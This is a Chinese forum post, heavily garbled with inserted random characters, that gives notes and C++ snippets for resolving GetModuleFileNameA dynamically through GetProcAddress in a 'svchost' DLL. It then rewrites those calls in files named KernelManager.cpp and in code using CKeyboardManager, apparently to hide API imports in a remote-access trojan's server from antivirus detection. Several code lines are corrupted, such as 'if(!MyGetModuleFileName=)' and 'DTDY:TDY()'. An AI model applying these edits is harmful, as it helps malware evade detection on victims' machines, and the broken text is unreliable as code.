|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记: k; F: j3 E3 m; g/ V& M2 o
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) o9 _# \) x' r8 h' l
----------------------------------------
4 d" U5 V- ^" CDTDY.h:% s3 i5 r; h2 J5 D
- n. O0 `9 W L9 \& B#if _MSC_VER>1000
: e. g! \/ N: b, F7 G) \ N3 c2 r#pragma once9 B. i6 k/ ~. A) _
#endif //_MSC_VER>1000
3 W& f& O; X* h; y1 N9 H3 b& M#include<windows.h>
1 _8 g4 Z J7 m& L- k9 l
9 x4 O9 o' B+ H$ c7 W" H* otypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 u: j7 O: L7 l. z$ |class DTDY! n# c5 i& @9 e- i+ P8 F) e
{! R5 W$ B- k7 o: ` F& e
public:) E7 {/ w: m3 |2 z5 Z; K0 c1 |
DTDY();
* X5 a1 U* h9 H3 ^# e0 d1 Gvirtual ~DTDY();
K/ F* ?3 O6 y' J0 S% fpublic:( x. a, f' n H/ H" c# F
static pGetModuleFileNameA MyGetModuleFileName;
6 u( J1 _1 n1 y/ T/ {static BOOL FunInitiallization();3 z% x, L: E" v2 u- _( A5 J: F
};; g+ A% j4 S' Z4 n: b- W; b+ D
#endif- |) n: d: _) o4 \
----------------------------------------4 j# [4 I6 J$ K0 V- h: H$ E
{! ]7 e8 e8 C. F+ {0 w: s
DTDY.cpp:
: ~' L7 G' Z+ @, h) _5 o$ }) f. \- H. n1 u2 X0 W9 h; r
#include "DTDY.h"& B* C3 N3 S( J5 N; W0 n6 Y& W
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ h l& x' [8 v% h5 {2 vDTDY:TDY()
- N8 \% {0 ]( H% {2 j0 V( u{( j4 o( |3 y: |) U' H
}5 I9 A8 |+ F8 v8 ? r5 [ ~) l
DTDY::~DTDY()1 c B F3 C2 I# \% x
{: g2 _( R2 w" \( W
}
9 T9 ~: E& n+ _. [7 C$ r8 _BOOL DTDY::FunInitiallization()
- A0 O# |! W- f1 d. h: F T3 k6 Z{- M9 J, D* G& C! f5 C' d' S
HMODULE hModule=LoadLibrary("kernel32.dll");
: a5 p8 {+ h' u9 _# xMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 e* q6 n- P- E7 F4 Vif(!MyGetModuleFileName=) return FALSE;; d6 ^- R% k& Y
2 w2 `* e v$ o$ R; E- G9 R
return TRUE;
6 V- |1 D% v* B; S1 b* a}; L# P6 q2 r5 _9 a1 j! h
----------------------------------------$ n# h& Q! U8 U$ ?& @1 C0 e
svchost.cpp:
2 E+ _8 k$ a, x8 G$ A$ ^2 @
3 y) d' a v9 t( R, ~7 ~#include "DTDY.h"
# P' c4 A" ?% D8 \2 m
9 V" ]$ b. b' a1 yBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)/ B. c- q5 o' X: r
{' p3 r; v! B( p7 j: p8 B5 k8 Z
switch(ul_reason_for_call)4 d; A' Z4 R5 {' A
{: [* ~% h) G9 i$ @/ v4 _+ P
case DLL_PROCESS_ATTACH:
9 i; ], d3 C/ P% X8 L. H6 {if(!DTDY::FunInitiallization()) return FALSE;
. c& R+ A) s1 b9 E* n
% \! E( N& ]" i1 E. C2 X( nbreak;
" k6 y2 D/ _% v' \}, @: R* w: F0 u- m$ `0 b; c
}% D& z2 _" h2 G! l* t6 `
" A: j- Z& b: T. s# p P' I1 t3 V: g( d
6 f: z9 Z; A. WGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def# M; B0 s/ Q5 `! D# b9 C
改写为5 I# J f1 A6 |3 D
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
/ t( \% c3 B0 j$ o----------------------------------------2 A0 I) w5 O1 C5 W* p, \
KernelManager.cpp:
4 U2 }! |3 \% M
+ @% T6 C. q, {% r$ [% D#include "../DTDY.h"
0 @8 [1 L3 |! K9 {2 g' ?+ CGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: }' ~! Q+ M5 M6 Q0 N2 v6 p
改写为9 Q8 Y% L& J3 A8 f6 q; A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 W R$ [. N. w9 l5 v
---------------------------------------- |
|